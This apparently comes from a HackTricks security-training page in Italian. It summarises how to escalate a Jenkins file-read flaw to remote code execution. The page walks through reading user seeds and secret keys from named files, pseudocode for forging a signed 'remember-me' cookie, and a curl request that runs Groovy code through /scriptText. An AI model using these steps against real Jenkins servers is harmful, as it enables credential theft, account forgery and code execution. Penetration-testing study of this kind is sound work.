# Jenkins Arbitrary File Read to RCE via "Remember Me"

{{#include ../../banners/hacktricks-training.md}}

In questo post del blog è possibile trovare un ottimo modo per trasformare una vulnerabilità di Local File Inclusion in Jenkins in RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)

Questo è un riassunto creato dall'AI della parte del post in cui l'artefatto di un cookie arbitrario viene abusato per ottenere RCE abusando di una lettura di file locale fino a quando non ho tempo per creare un riassunto da solo:

### Attack Prerequisites

- **Feature Requirement:** "Remember me" deve essere abilitato (impostazione predefinita).
- **Access Levels:** L'attaccante ha bisogno di permessi Overall/Read.
- **Secret Access:** Capacità di leggere sia contenuti binari che testuali da file chiave.

### Detailed Exploitation Process

#### Step 1: Data Collection

**User Information Retrieval**

- Accedi alla configurazione utente e ai segreti da `$JENKINS_HOME/users/*.xml` per ciascun utente per raccogliere:
- **Username**
- **User seed**
- **Timestamp**
- **Password hash**

**Secret Key Extraction**

- Estrai le chiavi crittografiche utilizzate per firmare il cookie:
- **Secret Key:** `$JENKINS_HOME/secret.key`
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`

#### Step 2: Cookie Forging

**Token Preparation**

- **Calcola il Tempo di Scadenza del Token:**

```javascript
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Aggiunge un'ora all'ora attuale
```

- **Concatena i Dati per il Token:**

```javascript
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
```

**MAC Key Decryption**

- **Decripta il File della Chiave MAC:**

```javascript
key = toAes128Key(masterKey)  // Converti la chiave master nel formato chiave AES128
decrypted = AES.decrypt(macFile, key)  // Decripta il file .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
```

**Signature Computation**

- **Calcola HMAC SHA256:**

```javascript
mac = HmacSHA256(token, macKey) // Calcola HMAC utilizzando il token e la chiave MAC
tokenSignature = bytesToHexString(mac) // Converti la MAC in una stringa esadecimale
```

**Cookie Encoding**

- **Genera il Cookie Finale:**

```javascript
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Codifica in Base64 i dati del cookie
```

#### Step 3: Code Execution

**Session Authentication**

- **Recupera i Token CSRF e di Sessione:**
- Fai una richiesta a `/crumbIssuer/api/json` per ottenere `Jenkins-Crumb`.
- Cattura `JSESSIONID` dalla risposta, che sarà utilizzato insieme al cookie remember-me.

**Command Execution Request**

- **Invia una Richiesta POST con uno Script Groovy:**

```bash
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
```

- Lo script Groovy può essere utilizzato per eseguire comandi a livello di sistema o altre operazioni all'interno dell'ambiente Jenkins.

L'esempio di comando curl fornito dimostra come effettuare una richiesta a Jenkins con le intestazioni e i cookie necessari per eseguire codice arbitrario in modo sicuro.

{{#include ../../banners/hacktricks-training.md}}
